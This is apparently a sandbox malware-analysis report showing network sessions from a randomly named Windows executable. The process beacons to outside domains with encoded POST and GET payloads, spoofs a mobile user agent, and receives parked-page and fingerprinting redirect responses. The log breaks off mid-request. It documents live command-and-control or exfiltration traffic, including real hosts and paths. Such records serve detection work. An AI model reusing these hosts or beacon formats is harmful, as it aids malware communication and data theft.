KV=7Tq5cMOUOsDyupD7MS6T5VyzWqAGwIZ0/WZZHlSBJO0VchuSIjZbOm/p0Yx1PHWPbm2omlWDmHfPPecy3iZUKUeHCnm2Li7s/HG4Rynj6/xAHwYJ3J752G+h3B7xs7kPW5h6cwwYKOYb9IZ3QOmbkSxQRtO/b+WKYKioeTVF0UDkKzRx4/BZhNgT2r5jSKHYo0lKchcucck+7oRdJmT4QCDmAWzyuHnChPBJsQZI+y4zzrigS565Fj2OrbKnYhCQy5jB6xU3uyVEF1DYS3ZjDnStt8LcG0Te7C66629RSb6uVtOuMHGAYZaokBc81nkYM21I4G44yncUBf/jxjTyAAeQ2tBtW2BvrXse802dC8thAP4mZ2pSihbyrOKixZPITt9xMzFhfM4g4hgtY29bd5D9t9u1/lPvuJvDd9atBsUZJ30lmlV0/2Z4UiW266uEU4LyrdfUdsZhYjevj/9Dq2tomUr5hZ/D4X9cATglsFOk/TY2AMe5NiFHoBCb7pZ/kQbVk93pnbijdxpmONFXLzCpPEVfMl4E2EbL3HWdNc/Ksl54yIpHkEMdqgDpWa/8m46u1r73g0Fi+gM48jJ5oq9I/LbShbOOVA2B+O5JPtxOrCr65t7jhiDxXnkdRcr/5UdOduxfBQDibC9TFQ/ypZW48dDJa8j4XXdfuG+Vw8Ldhg8yUlSVI5436ngxp6aCFM8k9t/5rPe/IGZobkzgpZXu+ClmFEI4cK1LRVitmylgH5qLGvYF8cvHpYyn52L02wBh4DONmXFFUFG+CfVKcZo9yjzxJflJxwlqXzCJZjC+sZZ/o4ciznLPVrAbcIfD1ZCIrqEcyww2MDSrpuOuinzDdXT/uonUB7LakY2ZPeDNayAJzF290PElqj8PSZt7rZz4ir0Oi37xTB3dpzGhKquYcH8v8GzyGN7QW5vDO5Ztncp31ujlpz1A04A0XtqgGiNRYBoqS+qvBH50ALTnYJ9X93bUqbOvsa8nfFlr2eVc0wTMM [TRUNCATED]
Nov 20, 2024 16:55:50.040666103 CET	658	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:55:49 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	50000	203.161.43.228	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:51.375801086 CET	505	OUT	GET /q6ws/?KV=2RCZf5GiD+fToLXcMHisxCqwWbc28bp5zmUuGnuHZcsPDzCWfzFSI1Df4pF2LDKbQ3OqnVWPrFqSO4182xFWIWWOBmKrBRiY7XTQRir+3P1LJShw3pPG+Dk=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.connecty.live Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:55:52.637221098 CET	673	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:55:52 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	50001	103.224.182.242	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:58.974507093 CET	783	OUT	POST /37ym/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.seeseye.website Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.seeseye.website Referer: http://www.seeseye.website/37ym/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 78 39 46 66 6c 70 74 64 32 78 4d 49 54 4a 39 44 53 5a 45 6b 2b 67 61 57 59 64 4a 74 64 52 52 5a 43 71 42 4c 51 66 65 2b 31 69 2b 56 54 45 4e 2f 67 48 6d 64 5a 62 57 52 6e 71 71 64 58 2b 34 45 61 6a 65 4f 61 58 47 71 77 59 4a 2b 46 64 35 39 68 58 63 6b 52 35 74 71 54 36 4c 46 50 39 69 42 70 61 2f 79 43 45 77 57 51 69 52 78 61 45 71 32 56 73 79 78 50 72 6d 6c 53 6e 31 39 6d 4d 47 71 7a 48 79 57 5a 71 47 49 6f 56 6d 6c 76 4b 34 62 56 4a 33 37 2b 70 50 70 49 70 2b 37 48 52 68 7a 5a 66 35 4c 57 43 67 33 33 4c 34 55 74 44 31 71 57 69 6a 6a 65 59 6c 38 68 79 53 72 74 76 44 6b 70 77 3d 3d Data Ascii: KV=x9Fflptd2xMITJ9DSZEk+gaWYdJtdRRZCqBLQfe+1i+VTEN/gHmdZbWRnqqdX+4EajeOaXGqwYJ+Fd59hXckR5tqT6LFP9iBpa/yCEwWQiRxaEq2VsyxPrmlSn19mMGqzHyWZqGIoVmlvK4bVJ37+pPpIp+7HRhzZf5LWCg33L4UtD1qWijjeYl8hySrtvDkpw==
Nov 20, 2024 16:56:00.289736032 CET	874	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:00 GMT server: Apache set-cookie: __tad=1732118160.6524404; expires=Sat, 18-Nov-2034 15:56:00 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 c1 6e db 30 0c 3d c7 5f 41 b8 07 3b e8 6a a7 08 b6 02 89 e5 1d 06 0c d8 b0 c3 d0 6e e7 41 91 e9 58 ad 2d 79 12 93 34 28 f2 ef a5 1c 37 ed ba 43 ab 8b 2d ea 3d f2 3d 9a 72 d1 50 d7 96 51 d1 a0 ac f8 41 9a 5a 2c 3d a2 c7 3d 66 3b 5c 79 4d 58 e4 c7 70 54 78 e5 74 4f 40 fb 1e 45 4c 78 4f f9 ad dc ca 63 34 06 ef 94 88 f3 5b 9f d7 da ac d1 f5 4e 1b ca b5 ae 31 eb b4 c9 6e 7d 5c 16 f9 11 fb 56 aa 32 da 4a 07 0e 2b ed 50 d1 9f 56 9b 3b 10 90 34 44 fd 22 cf 77 bb 5d f6 4a 62 3e bf da 77 f9 e7 64 19 45 79 0e 37 48 20 81 74 87 76 43 60 6b 98 cf 66 d0 69 e5 ac 47 65 4d e5 81 2c e0 3d aa 0d 21 03 9f ea 80 ae 81 1a 84 17 f2 a1 77 b6 d3 9e 63 52 b7 1e 6a eb c0 db 0e 99 22 bd 35 51 bd 31 8a b4 35 7c dc b6 2b a9 ee ae c7 54 e9 14 1e a2 c9 4e 9b ca ee b2 d6 2a 19 50 99 c3 be 95 0a d3 7f 8c 9d 27 75 2f 2e ae 92 e9 32 3a 44 11 b9 7d 60 b2 4a 4f e0 2a f7 6b 34 21 c0 23 8d 9b f4 75 b5 0f c1 20 f3 27 a1 6b 75 ff 73 d4 2c e0 eb b3 93 ef 37 ac 43 56 e9 43 67 8d 26 cb a1 f5 22 c8 f6 78 08 [TRUNCATED] Data Ascii: Tn0=_A;jnAX-y4(7C-==rPQAZ,==f;\yMXpTxtO@ELxOc4[N1n}\V2J+PV;4D"w]Jb>wdEy7H tvC`kfiGeM,=!wcRj"5Q15\|+TNP'u/.2:D}`JOk4!#u 'kus,7CVCg&"x+L2nID5)/~R83Il}(Z0\|>OPf `jRtna=2l];1rv@L^mY=v6,["gkpa-0ju:"\|2vTtH^px"-5=eC/uy0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	50002	103.224.182.242	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:01.642092943 CET	803	OUT	POST /37ym/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.seeseye.website Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.seeseye.website Referer: http://www.seeseye.website/37ym/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 78 39 46 66 6c 70 74 64 32 78 4d 49 51 70 74 44 51 36 63 6b 35 41 61 4a 45 4e 4a 74 55 78 52 43 43 71 39 4c 51 64 79 55 31 51 4b 56 51 68 70 2f 68 44 4b 64 61 62 57 52 6f 36 71 53 5a 65 35 49 61 6a 53 73 61 58 36 71 77 65 6c 2b 46 64 70 39 68 47 63 6a 54 70 74 6f 59 61 4c 44 52 4e 69 42 70 61 2f 79 43 46 51 6f 51 69 4a 78 47 6c 36 32 48 39 79 79 46 4c 6d 6d 46 58 31 39 31 63 48 74 7a 48 79 4f 5a 72 61 75 6f 54 71 6c 76 4b 49 62 62 34 33 34 33 70 4f 69 4c 5a 2f 5a 58 45 41 61 55 63 73 49 66 6a 55 77 2b 70 30 75 6f 46 34 77 47 42 71 30 64 4c 74 2b 31 55 7a 62 6b 65 6d 74 79 2f 36 58 37 68 37 6a 4f 44 34 46 51 4a 58 43 65 50 6f 30 68 7a 41 3d Data Ascii: KV=x9Fflptd2xMIQptDQ6ck5AaJENJtUxRCCq9LQdyU1QKVQhp/hDKdabWRo6qSZe5IajSsaX6qwel+Fdp9hGcjTptoYaLDRNiBpa/yCFQoQiJxGl62H9yyFLmmFX191cHtzHyOZrauoTqlvKIbb4343pOiLZ/ZXEAaUcsIfjUw+p0uoF4wGBq0dLt+1Uzbkemty/6X7h7jOD4FQJXCePo0hzA=
Nov 20, 2024 16:56:02.889866114 CET	874	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:02 GMT server: Apache set-cookie: __tad=1732118162.4255567; expires=Sat, 18-Nov-2034 15:56:02 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 c1 6e db 30 0c 3d c7 5f 41 b8 07 3b e8 6a a7 08 b6 02 89 e5 1d 06 0c d8 b0 c3 d0 6e e7 41 91 e9 58 ad 2d 79 12 93 34 28 f2 ef a5 1c 37 ed ba 43 ab 8b 2d ea 3d f2 3d 9a 72 d1 50 d7 96 51 d1 a0 ac f8 41 9a 5a 2c 3d a2 c7 3d 66 3b 5c 79 4d 58 e4 c7 70 54 78 e5 74 4f 40 fb 1e 45 4c 78 4f f9 ad dc ca 63 34 06 ef 94 88 f3 5b 9f d7 da ac d1 f5 4e 1b ca b5 ae 31 eb b4 c9 6e 7d 5c 16 f9 11 fb 56 aa 32 da 4a 07 0e 2b ed 50 d1 9f 56 9b 3b 10 90 34 44 fd 22 cf 77 bb 5d f6 4a 62 3e bf da 77 f9 e7 64 19 45 79 0e 37 48 20 81 74 87 76 43 60 6b 98 cf 66 d0 69 e5 ac 47 65 4d e5 81 2c e0 3d aa 0d 21 03 9f ea 80 ae 81 1a 84 17 f2 a1 77 b6 d3 9e 63 52 b7 1e 6a eb c0 db 0e 99 22 bd 35 51 bd 31 8a b4 35 7c dc b6 2b a9 ee ae c7 54 e9 14 1e a2 c9 4e 9b ca ee b2 d6 2a 19 50 99 c3 be 95 0a d3 7f 8c 9d 27 75 2f 2e ae 92 e9 32 3a 44 11 b9 7d 60 b2 4a 4f e0 2a f7 6b 34 21 c0 23 8d 9b f4 75 b5 0f c1 20 f3 27 a1 6b 75 ff 73 d4 2c e0 eb b3 93 ef 37 ac 43 56 e9 43 67 8d 26 cb a1 f5 22 c8 f6 78 08 [TRUNCATED] Data Ascii: Tn0=_A;jnAX-y4(7C-==rPQAZ,==f;\yMXpTxtO@ELxOc4[N1n}\V2J+PV;4D"w]Jb>wdEy7H tvC`kfiGeM,=!wcRj"5Q15\|+TNP'u/.2:D}`JOk4!#u 'kus,7CVCg&"x+L2nID5)/~R83Il}(Z0\|>OPf `jRtna=2l];1rv@L^mY=v6,["gkpa-0ju:"\|2vTtH^px"-5=eC/uy0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	50003	103.224.182.242	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:04.313740969 CET	1816	OUT	POST /37ym/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.seeseye.website Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.seeseye.website Referer: http://www.seeseye.website/37ym/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 78 39 46 66 6c 70 74 64 32 78 4d 49 51 70 74 44 51 36 63 6b 35 41 61 4a 45 4e 4a 74 55 78 52 43 43 71 39 4c 51 64 79 55 31 51 53 56 51 54 68 2f 67 69 4b 64 62 62 57 52 75 4b 72 31 5a 65 35 42 61 6a 36 6f 61 58 32 55 77 64 52 2b 45 37 6c 39 31 69 6f 6a 5a 70 74 6f 58 36 4c 47 50 39 6a 42 70 61 76 32 43 45 38 6f 51 69 4a 78 47 6e 53 32 45 73 79 79 57 62 6d 6c 53 6e 31 4c 6d 4d 48 4a 7a 48 4b 77 5a 72 65 2b 6f 6a 4b 6c 73 75 73 62 58 71 50 34 72 35 4f 67 43 4a 2f 2f 58 45 45 42 55 63 67 69 66 6a 67 61 2b 71 55 75 71 43 4e 2f 55 44 71 43 43 72 74 4e 6a 6b 43 67 35 73 61 59 72 4a 61 71 72 44 58 48 61 46 67 4e 63 70 4f 72 44 4b 41 33 31 57 67 79 43 44 61 71 79 59 30 57 32 58 45 47 69 38 58 35 75 6f 7a 39 68 4d 48 72 71 48 61 6e 7a 47 62 78 49 42 68 50 59 2f 30 4a 64 4a 2b 50 6b 62 79 65 5a 33 59 78 47 57 6e 36 4b 34 54 58 63 69 6e 46 47 55 66 50 6f 77 6b 71 66 68 54 2b 59 75 6a 62 37 72 78 49 68 32 44 51 78 42 6a 43 71 51 49 4c 37 71 75 35 72 43 68 69 4c 6c 69 7a 54 76 62 4e 74 54 46 4c 4f 47 64 [TRUNCATED] Data Ascii: KV=x9Fflptd2xMIQptDQ6ck5AaJENJtUxRCCq9LQdyU1QSVQTh/giKdbbWRuKr1Ze5Baj6oaX2UwdR+E7l91iojZptoX6LGP9jBpav2CE8oQiJxGnS2EsyyWbmlSn1LmMHJzHKwZre+ojKlsusbXqP4r5OgCJ//XEEBUcgifjga+qUuqCN/UDqCCrtNjkCg5saYrJaqrDXHaFgNcpOrDKA31WgyCDaqyY0W2XEGi8X5uoz9hMHrqHanzGbxIBhPY/0JdJ+PkbyeZ3YxGWn6K4TXcinFGUfPowkqfhT+Yujb7rxIh2DQxBjCqQIL7qu5rChiLlizTvbNtTFLOGd+EzXqIeu2i2as/WyFY1a+2PI0oD66lMpEtPAXaaYT4gXxSKslpOS2LoLJdU2odWjkqKXhyp7AP8jR+O2QeHwfuDolwZplg52HvKdyi3d4C0X910lE3ZOhK6KG0LA/NRWjxE1RGxHcCE583UyuqAnYJETXiAGGVZ+mjCg5zd6/ZTJtWuckpLwEvUSwBJDxoscSpkMazCk1Tezzup1souG016bvsoywCysSzu5elBz5lhq69mqa+9vq8Zo0is1QiK291PiGIhTfGoRAEGw5DgNPuFEpqjUsMxBDSE0zk1H0z8g2bdRiUMp7vwUlKbhLrkNImLb6hSBBX+7o4r3X/p4s2tIt00qHmm9Dli6ErySkkeNWeyrKdhDO/KOIUzwySPI7VL8+V0nGaATCT5f6LvalAbxoYkJ2gjsMXXk9RxdH0CLRFlc3Kh6txxU7ZIOIeqM83osk5ItF5HmfVmwLuoG6/RUpYO7nhhjrqDNPcGoQ5hhi/qF/6buQrRNp1FIag/FigCVreDskrSibd/nZPPiUnrdfQ1VBX7BQfZ83UmnYXcARwerYkMpRFXUc9g2EzdIDpIYKol+WX6CFAeKD0aDzH6mP9NTZnzL1L+peuXGZypZH0iKeTiUi82WKYIBj13EvQtj/hATV6rMlSpF9sKUwzDPhX3IkR5D9h [TRUNCATED]
Nov 20, 2024 16:56:05.733294964 CET	874	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:05 GMT server: Apache set-cookie: __tad=1732118165.8770228; expires=Sat, 18-Nov-2034 15:56:05 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 c1 6e db 30 0c 3d c7 5f 41 b8 07 3b e8 6a a7 08 b6 02 89 e5 1d 06 0c d8 b0 c3 d0 6e e7 41 91 e9 58 ad 2d 79 12 93 34 28 f2 ef a5 1c 37 ed ba 43 ab 8b 2d ea 3d f2 3d 9a 72 d1 50 d7 96 51 d1 a0 ac f8 41 9a 5a 2c 3d a2 c7 3d 66 3b 5c 79 4d 58 e4 c7 70 54 78 e5 74 4f 40 fb 1e 45 4c 78 4f f9 ad dc ca 63 34 06 ef 94 88 f3 5b 9f d7 da ac d1 f5 4e 1b ca b5 ae 31 eb b4 c9 6e 7d 5c 16 f9 11 fb 56 aa 32 da 4a 07 0e 2b ed 50 d1 9f 56 9b 3b 10 90 34 44 fd 22 cf 77 bb 5d f6 4a 62 3e bf da 77 f9 e7 64 19 45 79 0e 37 48 20 81 74 87 76 43 60 6b 98 cf 66 d0 69 e5 ac 47 65 4d e5 81 2c e0 3d aa 0d 21 03 9f ea 80 ae 81 1a 84 17 f2 a1 77 b6 d3 9e 63 52 b7 1e 6a eb c0 db 0e 99 22 bd 35 51 bd 31 8a b4 35 7c dc b6 2b a9 ee ae c7 54 e9 14 1e a2 c9 4e 9b ca ee b2 d6 2a 19 50 99 c3 be 95 0a d3 7f 8c 9d 27 75 2f 2e ae 92 e9 32 3a 44 11 b9 7d 60 b2 4a 4f e0 2a f7 6b 34 21 c0 23 8d 9b f4 75 b5 0f c1 20 f3 27 a1 6b 75 ff 73 d4 2c e0 eb b3 93 ef 37 ac 43 56 e9 43 67 8d 26 cb a1 f5 22 c8 f6 78 08 [TRUNCATED] Data Ascii: Tn0=_A;jnAX-y4(7C-==rPQAZ,==f;\yMXpTxtO@ELxOc4[N1n}\V2J+PV;4D"w]Jb>wdEy7H tvC`kfiGeM,=!wcRj"5Q15\|+TNP'u/.2:D}`JOk4!#u 'kus,7CVCg&"x+L2nID5)/~R83Il}(Z0\|>OPf `jRtna=2l];1rv@L^mY=v6,["gkpa-0ju:"\|2vTtH^px"-5=eC/uy0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	50004	103.224.182.242	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:06.973932981 CET	507	OUT	GET /37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB+TiCWCE+I+OwKVMkti2s7d6J9YJjeD9jGibmgDAwgawFnRnPmUcSsGcI=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.seeseye.website Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:56:08.272437096 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:08 GMT server: Apache set-cookie: __tad=1732118168.4972690; expires=Sat, 18-Nov-2034 15:56:08 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1474 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 73 65 65 73 65 79 65 2e 77 65 62 73 69 74 65 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 65 73 65 79 65 2e 77 65 62 73 69 74 65 2f 33 37 79 6d 2f 3f 4b 56 3d 38 2f 74 2f 6d 64 4e 66 32 52 51 4d 4f 61 4e 42 4e 4a 30 43 32 43 48 51 43 5a 74 53 66 47 45 73 50 4b 78 73 62 39 32 55 34 67 79 30 49 7a 6f 6a 72 6a 47 35 64 70 47 78 72 61 62 4d 65 66 42 2b 54 69 43 57 43 45 2b 49 2b 4f 77 4b 56 4d 6b 74 69 32 73 37 64 36 4a 39 59 4a 6a 65 44 39 6a 47 69 62 6d 67 44 41 77 67 61 77 46 6e 52 6e 50 6d 55 63 53 73 47 63 49 3d 26 57 6e 6f 3d 61 30 71 44 [TRUNCATED] Data Ascii: <html><head><title>seeseye.website</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB+TiCWCE+I+OwKVMkti2s7d6J9YJjeD9jGibmgDAwgawFnRnPmUcSsGcI=&Wno=a0qDq&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgcolor="#ffffff" t
Nov 20, 2024 16:56:08.272510052 CET	510	IN	Data Raw: 65 78 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 65 73 65 79 65 2e 77 65 62 73 69 74 65 2f 33 37 79 Data Ascii: ext="#000000"><div style='display: none;'><a href='http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB+TiCWCE+I+OwKVMkti2s7d6J9YJjeD9jGibmgDAwgawFnRnPmUcSsGcI=&Wno=a0qDq&fp=-3'>Click here to ent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	50005	199.59.243.227	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:14.525746107 CET	774	OUT	POST /mxde/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.bcg.services Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bcg.services Referer: http://www.bcg.services/mxde/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 78 7a 69 52 6e 64 4d 49 66 56 65 55 31 5a 69 53 34 4b 4c 62 32 38 72 49 74 65 66 65 74 37 52 6b 45 38 4f 71 45 64 69 4f 79 66 6a 71 45 47 57 45 59 79 53 31 72 50 33 36 63 75 